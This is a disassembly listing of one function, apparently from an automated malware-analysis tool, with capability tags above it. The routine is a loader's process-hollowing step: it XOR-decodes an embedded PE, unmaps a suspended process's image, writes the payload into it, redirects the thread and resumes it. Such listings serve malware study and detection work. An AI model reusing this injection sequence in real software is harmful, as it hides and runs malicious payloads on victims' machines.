Function at 0x407a90
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42e88b
mov eax, dword fs:[0]
push eax
sub esp, 0x400
mov eax, dword [0x439684]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x330], ecx
mov dword [ebp - 4], 0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x2ac], esp
lea eax, [ebp + 0x14]
push eax
call fcn.00401e30
mov dword [ebp - 0x334], eax
mov ecx, dword [ebp - 0x330]
call fcn.0040a270
push 0x432768
lea ecx, [ebp - 0x98]
call fcn.00401d90
mov byte [ebp - 4], 1
push str.ReadProcessMemory
mov ecx, dword [ebp - 0x330]
mov edx, dword [ecx + 0xe0]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x330]
mov dword [ecx + 0xf0], eax
push str.ResumeThread
mov edx, dword [ebp - 0x330]
mov eax, dword [edx + 0xe0]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x330]
mov dword [ecx + 0xf4], eax
push str.GetThreadContext
mov edx, dword [ebp - 0x330]
mov eax, dword [edx + 0xe0]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x330]
mov dword [ecx + 0xf8], eax
push str.SetThreadContext
mov edx, dword [ebp - 0x330]
mov eax, dword [edx + 0xe0]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x330]
mov dword [ecx + 0xfc], eax
push 0x4327b8
mov edx, dword [ebp - 0x330]
mov eax, dword [edx + 0xe0]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x330]
mov dword [ecx + 0x100], eax
push str.memcpy
mov edx, dword [ebp - 0x330]
mov eax, dword [edx + 0xe8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x330]
mov dword [ecx + 0x104], eax
push 2
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x2b0], esp
lea edx, [ebp + 0x14]
push edx
call fcn.00401e30
mov dword [ebp - 0x338], eax
mov ecx, dword [ebp - 0x330]
call fcn.00408d30
mov dword [ebp - 0x33c], eax
mov eax, dword [ebp - 0x33c]
mov dword [ebp - 0x14], eax
cmp dword [ebp + 0xc], 0
je 0x407c1f
cmp dword [ebp - 0x14], 0
jne 0x407d61
push 0x4327d4
lea ecx, [ebp - 0xf8]
call fcn.00401d90
mov byte [ebp - 4], 2
push 0x4327e8
lea ecx, [ebp - 0x114]
call fcn.00401d90
mov byte [ebp - 4], 3
cmp dword [ebp + 0xc], 0
je 0x407c5f
push 0x4327ec
lea ecx, [ebp - 0x114]
call fcn.0040b3a0
jmp 0x407c6f
push 0x4327f8
lea ecx, [ebp - 0x114]
call fcn.0040b3a0
cmp dword [ebp - 0x14], 0
je 0x407c87
push 0x432808
lea ecx, [ebp - 0x114]
call fcn.0040b3a0
jmp 0x407c97
push 0x432814
lea ecx, [ebp - 0x114]
call fcn.0040b3a0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x2b4], esp
push 0x432820
call fcn.00401d90
mov dword [ebp - 0x340], eax
mov ecx, dword [ebp - 0x340]
mov dword [ebp - 0x344], ecx
mov byte [ebp - 4], 4
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x2b8], esp
lea edx, [ebp - 0x114]
push edx
call fcn.00401e30
mov dword [ebp - 0x348], eax
mov eax, dword [ebp - 0x348]
mov dword [ebp - 0x34c], eax
mov byte [ebp - 4], 5
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x2bc], esp
push str.min_ldrf_0
call fcn.00401d90
mov dword [ebp - 0x350], eax
mov ecx, dword [ebp + 8]
push ecx
mov byte [ebp - 4], 3
mov edx, dword [ebp - 0x330]
mov ecx, dword [edx + 0x68]
call fcn.00404a90
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x114]
call fcn.00401e70
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xf8]
call fcn.00401e70
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x98]
call fcn.00401e70
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x14]
call fcn.00401e70
jmp 0x408cd9
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x9c], 0
mov byte [ebp - 0x51], 0
lea ecx, [ebp - 0x4c]
call fcn.0040a6a0
mov byte [ebp - 4], 6
mov eax, dword [ebp + 0x10]
push eax
lea ecx, [ebp - 0xdc]
call fcn.00401c00
mov byte [ebp - 4], 7
lea ecx, [ebp - 0xdc]
push ecx
lea ecx, [ebp - 0x4c]
call fcn.0040a6d0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x2c0], esp
lea edx, [ebp + 0x14]
push edx
call fcn.00401e30
mov dword [ebp - 0x354], eax
mov ecx, dword [ebp - 0x330]
call fcn.00407870
mov byte [ebp - 0x355], al
mov al, byte [ebp - 0x355]
mov byte [0x43aa08], al
push str.modedlshift
lea ecx, [ebp - 0xc0]
call fcn.00401d90
mov byte [ebp - 4], 8
push 0
lea ecx, [ebp - 0xc0]
push ecx
lea ecx, [ebp + 0x14]
call fcn.0040b3e0
cmp eax, dword [0x43233c]
je 0x407e0b
mov byte [ebp - 0x51], 1
movzx edx, byte [0x43aa08]
test edx, edx
je 0x407e9a
push 0x43aa0c
movzx eax, byte [ebp - 0x51]
push eax
lea ecx, [ebp - 0x9c]
push ecx
lea edx, [ebp - 0x58]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x330]
call fcn.00407910
xor ecx, ecx
cmp dword [ebp - 0x9c], 0
sete cl
test ecx, ecx
jne 0x407e98
mov edx, dword [0x43aa0c]
add edx, 4
mov eax, dword [0x43aa04]
sub eax, edx
push eax
mov ecx, dword [ebp - 0x9c]
push ecx
lea edx, [ebp - 0x118]
push edx
mov ecx, dword [ebp - 0x330]
call fcn.0040a070
mov byte [ebp - 4], 9
push 0x432858
lea ecx, [ebp - 0x4c]
call fcn.00401c60
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x118]
call fcn.00401cd0
jmp 0x407ef7
mov eax, dword [0x43aa04]
mov dword [0x43aa0c], eax
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x58], ecx
movzx edx, byte [ebp - 0x51]
test edx, edx
je 0x407ef7
mov dword [ebp - 0x11c], 0
jmp 0x407ecd
mov eax, dword [ebp - 0x11c]
add eax, 1
mov dword [ebp - 0x11c], eax
mov ecx, dword [ebp - 0x11c]
cmp ecx, dword [0x43aa0c]
jge 0x407ef7
mov edx, dword [ebp - 0x58]
add edx, dword [ebp - 0x11c]
movzx eax, byte [edx]
xor eax, 0x41
mov ecx, dword [ebp - 0x58]
add ecx, dword [ebp - 0x11c]
mov byte [ecx], al
jmp 0x407ebe
push str.WriteProcessMemory
mov edx, dword [ebp - 0x330]
mov eax, dword [edx + 0xe0]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 0
jne 0x407f33
push 0x432874
lea ecx, [ebp - 0x98]
call fcn.00401eb0
jmp 0x408985
mov ecx, dword [ebp - 0x330]
cmp dword [ecx + 0xf0], 0
jne 0x407f57
push 0x432878
lea ecx, [ebp - 0x98]
call fcn.00401eb0
jmp 0x408985
push 0x43287c
mov edx, dword [ebp - 0x330]
mov eax, dword [edx + 0xe0]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0
jne 0x407f8d
push str.3456
lea ecx, [ebp - 0x98]
call fcn.00401eb0
jmp 0x408985
mov ecx, dword [ebp - 0x330]
cmp dword [ecx + 0xf8], 0
jne 0x407fb1
push 0x43288c
lea ecx, [ebp - 0x98]
call fcn.00401eb0
jmp 0x408985
mov edx, dword [ebp - 0x330]
mov eax, dword [ebp - 0x58]
mov dword [edx + 0x6c], eax
mov ecx, dword [ebp - 0x330]
cmp dword [ecx + 0x6c], 0
je 0x407fdd
mov edx, dword [ebp - 0x330]
mov eax, dword [edx + 0x6c]
movzx ecx, word [eax]
cmp ecx, 0x5a4d
je 0x407ff2
push 0x432890
lea ecx, [ebp - 0x98]
call fcn.00401eb0
jmp 0x408985
mov edx, dword [ebp - 0x330]
mov eax, dword [edx + 0x6c]
mov ecx, dword [ebp - 0x58]
add ecx, dword [eax + 0x3c]
mov edx, dword [ebp - 0x330]
mov dword [edx + 0x70], ecx
mov eax, dword [ebp - 0x330]
cmp dword [eax + 0x70], 0
je 0x408027
mov ecx, dword [ebp - 0x330]
mov edx, dword [ecx + 0x70]
cmp dword [edx], 0x4550
je 0x40803c
push 0x432894
lea ecx, [ebp - 0x98]
call fcn.00401eb0
jmp 0x408985
push 0x44
push 0
mov eax, dword [ebp - 0x330]
add eax, 0x88
push eax
call fcn.004155f0
add esp, 0xc
push 0x10
push 0
mov ecx, dword [ebp - 0x330]
add ecx, 0x78
push ecx
call fcn.004155f0
add esp, 0xc
push 0x432898
mov edx, dword [ebp - 0x330]
mov eax, dword [edx + 0xe0]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0
jne 0x4080a0
push str.crtproc
lea ecx, [ebp - 0x98]
call fcn.00401eb0
jmp 0x408985
mov ecx, dword [ebp - 0x330]
add ecx, 0x78
push ecx
mov edx, dword [ebp - 0x330]
add edx, 0x88
push edx
push 0
push 0
push 4
push 0
push 0
push 0
lea ecx, [ebp - 0x4c]
call fcn.00401cb0
push eax
mov eax, dword [ebp + 0xc]
push eax
call dword [ebp - 0x5c]
test eax, eax
jne 0x4080ec
push 0x4328b8
lea ecx, [ebp - 0x98]
call fcn.00401eb0
jmp 0x408985
push 0x4328bc
mov ecx, dword [ebp - 0x330]
mov edx, dword [ecx + 0xe0]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x50], eax
push 4
push 0x1000
push 4
push 0
call dword [ebp - 0x50]
mov ecx, dword [ebp - 0x330]
mov dword [ecx + 0xcc], eax
mov edx, dword [ebp - 0x330]
mov eax, dword [edx + 0xcc]
mov dword [eax], 0x10007
mov ecx, dword [ebp - 0x330]
mov edx, dword [ecx + 0xcc]
push edx
mov eax, dword [ebp - 0x330]
mov ecx, dword [eax + 0x7c]
push ecx
mov edx, dword [ebp - 0x330]
mov eax, dword [edx + 0xf8]
call eax
test eax, eax
jne 0x408171
push 0x4328cc
lea ecx, [ebp - 0x98]
call fcn.00401eb0
jmp 0x408985
push 0
push 4
mov ecx, dword [ebp - 0x330]
add ecx, 0xd0
push ecx
mov edx, dword [ebp - 0x330]
mov eax, dword [edx + 0xcc]
mov ecx, dword [eax + 0xa4]
add ecx, 8
push ecx
mov edx, dword [ebp - 0x330]
mov eax, dword [edx + 0x78]
push eax
mov ecx, dword [ebp - 0x330]
mov edx, dword [ecx + 0xf0]
call edx
mov eax, dword [ebp - 0x330]
mov ecx, dword [eax + 0x70]
mov edx, dword [ebp - 0x330]
mov eax, dword [edx + 0xd0]
cmp eax, dword [ecx + 0x34]
jne 0x408223
push str.NtUnmapViewOfSection
mov ecx, dword [ebp - 0x330]
mov edx, dword [ecx + 0xe4]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0
jne 0x408206
push 0x4328e8
lea ecx, [ebp - 0x98]
call fcn.00401eb0
jmp 0x408985
mov eax, dword [ebp - 0x330]
mov ecx, dword [eax + 0xd0]
push ecx
mov edx, dword [ebp - 0x330]
mov eax, dword [edx + 0x78]
push eax
call dword [ebp - 0x120]
push str.VirtualAllocEx
mov ecx, dword [ebp - 0x330]
mov edx, dword [ecx + 0xe0]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xa0], eax
push pe_nt_image_headers32
push 0x3000
mov eax, dword [ebp - 0x330]
mov ecx, dword [eax + 0x70]
mov edx, dword [ecx + 0x50]
push edx
mov eax, dword [ebp - 0x330]
mov ecx, dword [eax + 0x70]
mov edx, dword [ecx + 0x34]
push edx
mov eax, dword [ebp - 0x330]
mov ecx, dword [eax + 0x78]
push ecx
call dword [ebp - 0xa0]
mov edx, dword [ebp - 0x330]
mov dword [edx + 0xd4], eax
mov eax, dword [ebp - 0x330]
cmp dword [eax + 0xd4], 0
jne 0x4086d7
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push pe_nt_image_headers32
push 0x3000
mov ecx, dword [ebp - 0x330]
mov edx, dword [ecx + 0x70]
mov eax, dword [edx + 0x50]
push eax
mov ecx, dword [ebp - 0x330]
mov edx, dword [ecx + 0x70]
mov eax, dword [edx + 0x34]
push eax
mov ecx, dword [ebp - 0x330]
mov edx, dword [ecx + 0x78]
push edx
call dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x330]
mov dword [ecx + 0xd4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x144], eax
lea ecx, [ebp - 0x140]
call fcn.0040afb0
mov byte [ebp - 4], 0xa
mov edx, dword [ebp - 0x144]
push edx
push str.10referrer_d
lea eax, [ebp - 0x140]
push eax
call fcn.00411110
add esp, 0xc
lea ecx, [ebp - 0x140]
call fcn.00405dc0
push eax
lea ecx, [ebp - 0x98]
call fcn.00401eb0
push 0x43291c
lea ecx, [ebp - 0x13c]
call fcn.00401d90
mov byte [ebp - 4], 0xb
push 0
push 0x432930
lea ecx, [ebp - 0x13c]
call fcn.00405070
cmp eax, dword [0x43233c]
je 0x408427
push 1
push 3
lea ecx, [ebp - 0x1cc]
call fcn.0040b410
mov byte [ebp - 4], 0xc
mov ecx, dword [0x43aa0c]
push ecx
lea ecx, [ebp - 0x1c4]
call fcn.0040a8c0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x2c4], esp
push 0x432938
call fcn.00401d90
mov dword [ebp - 0x35c], eax
mov edx, dword [ebp - 0x35c]
mov dword [ebp - 0x360], edx
mov byte [ebp - 4], 0xd
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x2c8], esp
push eax
lea ecx, [ebp - 0x1cc]
call fcn.0040b540
mov dword [ebp - 0x364], eax
mov ecx, dword [ebp - 0x364]
mov dword [ebp - 0x368], ecx
mov byte [ebp - 4], 0xe
sub esp, 0x1c
mov edx, esp
mov dword [ebp - 0x2cc], esp
lea eax, [ebp - 0x98]
push eax
lea ecx, [ebp - 0x13c]
push ecx
push edx
call fcn.00411140
add esp, 0xc
mov dword [ebp - 0x36c], eax
mov edx, dword [ebp + 8]
push edx
mov byte [ebp - 4], 0xc
mov eax, dword [ebp - 0x330]
mov ecx, dword [eax + 0x68]
call fcn.00404a90
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x1cc]
call fcn.00408d00
jmp 0x4084bb
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x2d0], esp
push 0x43293c
call fcn.00401d90
mov dword [ebp - 0x370], eax
mov ecx, dword [ebp - 0x370]
mov dword [ebp - 0x374], ecx
mov byte [ebp - 4], 0xf
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x2d4], esp
push 0x432940
call fcn.00401d90
mov dword [ebp - 0x378], eax
mov edx, dword [ebp - 0x378]
mov dword [ebp - 0x37c], edx
mov byte [ebp - 4], 0x10
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x2d8], esp
lea ecx, [ebp - 0x98]
push ecx
lea edx, [ebp - 0x13c]
push edx
push eax
call fcn.00411140
add esp, 0xc
mov dword [ebp - 0x380], eax
mov eax, dword [ebp + 8]
push eax
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x330]
mov ecx, dword [ecx + 0x68]
call fcn.00404a90
mov edx, dword [ebp - 0x330]
cmp dword [edx + 0xd4], 0
jne 0x4086b9
push 0x432944
lea ecx, [ebp - 0x1e8]
call fcn.00401d90
mov byte [ebp - 4], 0x11
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x2dc], esp
push 0x432960
call fcn.00401d90
mov dword [ebp - 0x384], eax
mov eax, dword [ebp - 0x384]
mov dword [ebp - 0x388], eax
mov byte [ebp - 4], 0x12
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x2e0], esp
push 0x432964
call fcn.00401d90
mov dword [ebp - 0x38c], eax
mov ecx, dword [ebp - 0x38c]
mov dword [ebp - 0x390], ecx
mov byte [ebp - 4], 0x13
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x2e4], esp
lea edx, [ebp - 0x1e8]
push edx
call fcn.00401e30
mov dword [ebp - 0x394], eax
mov eax, dword [ebp + 8]
push eax
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0x330]
mov ecx, dword [ecx + 0x68]
call fcn.00404a90
movzx edx, byte [0x43aa08]
push edx
mov eax, dword [0x43aa0c]
push eax
mov ecx, dword [ebp - 0x58]
push ecx
mov ecx, dword [ebp - 0x330]
call fcn.00409de0
movzx edx, al
test edx, edx
je 0x40863f
push 0x432968
lea ecx, [ebp - 0x204]
call fcn.00401d90
mov byte [ebp - 4], 0x14
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x2e8], esp
push 0x432984
call fcn.00401d90
mov dword [ebp - 0x398], eax
mov eax, dword [ebp - 0x398]
mov dword [ebp - 0x39c], eax
mov byte [ebp - 4], 0x15
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x2ec], esp
push 0x432988
call fcn.00401d90
mov dword [ebp - 0x3a0], eax
mov ecx, dword [ebp - 0x3a0]
mov dword [ebp - 0x3a4], ecx
mov byte [ebp - 4], 0x16
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x2f0], esp
lea edx, [ebp - 0x204]
push edx
call fcn.00401e30
mov dword [ebp - 0x3a8], eax
mov eax, dword [ebp + 8]
push eax
mov byte [ebp - 4], 0x14
mov ecx, dword [ebp - 0x330]
mov ecx, dword [ecx + 0x68]
call fcn.00404a90
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x204]
call fcn.00401e70
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x1e8]
call fcn.00401e70
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x13c]
call fcn.00401e70
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x140]
call fcn.00401cd0
mov byte [ebp - 4], 7
lea ecx, [ebp - 0xc0]
call fcn.00401e70
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xdc]
call fcn.00401c40
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x4c]
call fcn.00401c40
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x98]
call fcn.00401e70
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x14]
call fcn.00401e70
jmp 0x408cd9
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x13c]
call fcn.00401e70
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x140]
call fcn.00401cd0
push 0
mov edx, dword [ebp - 0x330]
mov eax, dword [edx + 0x70]
mov ecx, dword [eax + 0x54]
push ecx
mov edx, dword [ebp - 0x58]
push edx
mov eax, dword [ebp - 0x330]
mov ecx, dword [eax + 0xd4]
push ecx
mov edx, dword [ebp - 0x330]
mov eax, dword [edx + 0x78]
push eax
call dword [ebp - 0xa4]
mov ecx, dword [ebp - 0x330]
mov dword [ecx + 0xd8], 0
jmp 0x408734
mov edx, dword [ebp - 0x330]
mov eax, dword [edx + 0xd8]
add eax, 1
mov ecx, dword [ebp - 0x330]
mov dword [ecx + 0xd8], eax
mov edx, dword [ebp - 0x330]
mov eax, dword [edx + 0x70]
movzx ecx, word [eax + 6]
mov edx, dword [ebp - 0x330]
cmp dword [edx + 0xd8], ecx
jge 0x4087ca
mov eax, dword [ebp - 0x330]
mov ecx, dword [eax + 0x6c]
mov edx, dword [ebp - 0x58]
add edx, dword [ecx + 0x3c]
mov eax, dword [ebp - 0x330]
mov ecx, dword [eax + 0xd8]
imul ecx, ecx, 0x28
lea edx, [edx + ecx + 0xf8]
mov eax, dword [ebp - 0x330]
mov dword [eax + 0x74], edx
push 0
mov ecx, dword [ebp - 0x330]
mov edx, dword [ecx + 0x74]
mov eax, dword [edx + 0x10]
push eax
mov ecx, dword [ebp - 0x330]
mov edx, dword [ecx + 0x74]
mov eax, dword [ebp - 0x58]
add eax, dword [edx + 0x14]
push eax
mov ecx, dword [ebp - 0x330]
mov edx, dword [ecx + 0x74]
mov eax, dword [ebp - 0x330]
mov ecx, dword [eax + 0xd4]
add ecx, dword [edx + 0xc]
push ecx
mov edx, dword [ebp - 0x330]
mov eax, dword [edx + 0x78]
push eax
call dword [ebp - 0xa4]
jmp 0x408719
push 0
push 4
mov ecx, dword [ebp - 0x330]
mov edx, dword [ecx + 0x70]
add edx, 0x34
push edx
mov eax, dword [ebp - 0x330]
mov ecx, dword [eax + 0xcc]
mov edx, dword [ecx + 0xa4]
add edx, 8
push edx
mov eax, dword [ebp - 0x330]
mov ecx, dword [eax + 0x78]
push ecx
call dword [ebp - 0xa4]
mov edx, dword [ebp - 0x330]
mov eax, dword [edx + 0x70]
mov ecx, dword [ebp - 0x330]
mov edx, dword [ecx + 0xd4]
add edx, dword [eax + 0x28]
mov eax, dword [ebp - 0x330]
mov ecx, dword [eax + 0xcc]
mov dword [ecx + 0xb0], edx
mov edx, dword [ebp - 0x330]
mov eax, dword [edx + 0xcc]
push eax
mov ecx, dword [ebp - 0x330]
mov edx, dword [ecx + 0x7c]
push edx
mov eax, dword [ebp - 0x330]
mov ecx, dword [eax + 0xfc]
call ecx
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x2f4], esp
push 0x43298c
call fcn.00401d90
mov dword [ebp - 0x3ac], eax
mov edx, dword [ebp - 0x3ac]
mov dword [ebp - 0x3b0], edx
mov byte [ebp - 4], 0x17
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x2f8], esp
push eax
mov ecx, dword [ebp - 0x330]
mov ecx, dword [ecx + 0x64]
call fcn.00413e50
mov dword [ebp - 0x3b4], eax
mov edx, dword [ebp - 0x3b4]
mov dword [ebp - 0x3b8], edx
mov byte [ebp - 4], 0x18
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x2fc], esp
push str.ldr_oninit_done
call fcn.00401d90
mov dword [ebp - 0x3bc], eax
push 0
mov byte [ebp - 4], 8
mov eax, dword [ebp - 0x330]
mov ecx, dword [eax + 0x68]
call fcn.00404a90
mov ecx, dword [ebp - 0x330]
mov edx, dword [ecx + 0x7c]
push edx
mov eax, dword [ebp - 0x330]
mov ecx, dword [eax + 0xf4]
call ecx
mov edx, dword [ebp - 0x330]
mov eax, dword [edx + 0x78]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x330]
mov edx, dword [ecx + 0x7c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xffffffffffffffff
mov eax, dword [ebp - 0x330]
mov ecx, dword [eax + 0x78]
push ecx
mov edx, dword [ebp - 0x330]
mov eax, dword [edx + 0x100]
call eax
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.00417625
add esp, 4
mov byte [ebp - 4], 7
lea ecx, [ebp - 0xc0]
call fcn.00401e70
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xdc]
call fcn.00401c40
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x4c]
call fcn.00401c40
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x98]
call fcn.00401e70
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x14]
call fcn.00401e70
jmp 0x408cd9
push str.min_ldrf_
lea ecx, [ebp - 0x30]
call fcn.00401d90
mov byte [ebp - 4], 0x19
push 0
push 0x4329c4
lea ecx, [ebp - 0x30]
call fcn.00405070
cmp eax, dword [0x43233c]
je 0x408a7d
push 1
push 3
lea ecx, [ebp - 0x28c]
call fcn.0040b410
mov byte [ebp - 4], 0x1a
mov edx, dword [0x43aa0c]
push edx
lea ecx, [ebp - 0x284]
call fcn.0040a8c0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x300], esp
push 0x4329c8
call fcn.00401d90
mov dword [ebp - 0x3c0], eax
mov eax, dword [ebp - 0x3c0]
mov dword [ebp - 0x3c4], eax
mov byte [ebp - 4], 0x1b
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x304], esp
push ecx
lea ecx, [ebp - 0x28c]
call fcn.0040b540
mov dword [ebp - 0x3c8], eax
mov edx, dword [ebp - 0x3c8]
mov dword [ebp - 0x3cc], edx
mov byte [ebp - 4], 0x1c
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x308], esp
lea ecx, [ebp - 0x98]
push ecx
lea edx, [ebp - 0x30]
push edx
push eax
call fcn.00411140
add esp, 0xc
mov dword [ebp - 0x3d0], eax
mov eax, dword [ebp + 8]
push eax
mov byte [ebp - 4], 0x1a
mov ecx, dword [ebp - 0x330]
mov ecx, dword [ecx + 0x68]
call fcn.00404a90
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x28c]
call fcn.00408d00
jmp 0x408b0e
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x30c], esp
push 0x4329cc
call fcn.00401d90
mov dword [ebp - 0x3d4], eax
mov edx, dword [ebp - 0x3d4]
mov dword [ebp - 0x3d8], edx
mov byte [ebp - 4], 0x1d
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x310], esp
push 0x4329d0
call fcn.00401d90
mov dword [ebp - 0x3dc], eax
mov eax, dword [ebp - 0x3dc]
mov dword [ebp - 0x3e0], eax
mov byte [ebp - 4], 0x1e
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x314], esp
lea edx, [ebp - 0x98]
push edx
lea eax, [ebp - 0x30]
push eax
push ecx
call fcn.00411140
add esp, 0xc
mov dword [ebp - 0x3e4], eax
mov ecx, dword [ebp + 8]
push ecx
mov byte [ebp - 4], 0x19
mov edx, dword [ebp - 0x330]
mov ecx, dword [edx + 0x68]
call fcn.00404a90
push str.min_ldrf_exes
lea ecx, [ebp - 0x7c]
call fcn.00401d90
mov byte [ebp - 4], 0x1f
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x318], esp
push 0x4329f0
call fcn.00401d90
mov dword [ebp - 0x3e8], eax
mov eax, dword [ebp - 0x3e8]
mov dword [ebp - 0x3ec], eax
mov byte [ebp - 4], 0x20
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x31c], esp
push 0x4329f4
call fcn.00401d90
mov dword [ebp - 0x3f0], eax
mov ecx, dword [ebp - 0x3f0]
mov dword [ebp - 0x3f4], ecx
mov byte [ebp - 4], 0x21
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x320], esp
lea edx, [ebp - 0x7c]
push edx
call fcn.00401e30
mov dword [ebp - 0x3f8], eax
mov eax, dword [ebp + 8]
push eax
mov byte [ebp - 4], 0x1f
mov ecx, dword [ebp - 0x330]
mov ecx, dword [ecx + 0x68]
call fcn.00404a90
movzx edx, byte [0x43aa08]
push edx
mov eax, dword [0x43aa0c]
push eax
mov ecx, dword [ebp - 0x58]
push ecx
mov ecx, dword [ebp - 0x330]
call fcn.00409de0
movzx edx, al
test edx, edx
je 0x408c79
push str.min_ldrf_exef
lea ecx, [ebp - 0x2a8]
call fcn.00401d90
mov byte [ebp - 4], 0x22
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x324], esp
push 0x432a14
call fcn.00401d90
mov dword [ebp - 0x3fc], eax
mov eax, dword [ebp - 0x3fc]
mov dword [ebp - 0x400], eax
mov byte [ebp - 4], 0x23
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x328], esp
push 0x432a18
call fcn.00401d90
mov dword [ebp - 0x404], eax
mov ecx, dword [ebp - 0x404]
mov dword [ebp - 0x408], ecx
mov byte [ebp - 4], 0x24
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x32c], esp
lea edx, [ebp - 0x2a8]
push edx
call fcn.00401e30
mov dword [ebp - 0x40c], eax
mov eax, dword [ebp + 8]
push eax
mov byte [ebp - 4], 0x22
mov ecx, dword [ebp - 0x330]
mov ecx, dword [ecx + 0x68]
call fcn.00404a90
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x2a8]
call fcn.00401e70
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x7c]
call fcn.00401e70
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x30]
call fcn.00401e70
mov byte [ebp - 4], 7
lea ecx, [ebp - 0xc0]
call fcn.00401e70
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xdc]
call fcn.00401c40
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x4c]
call fcn.00401c40
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x98]
call fcn.00401e70
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x14]
call fcn.00401e70
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00415541
mov esp, ebp
pop ebp
ret 0x28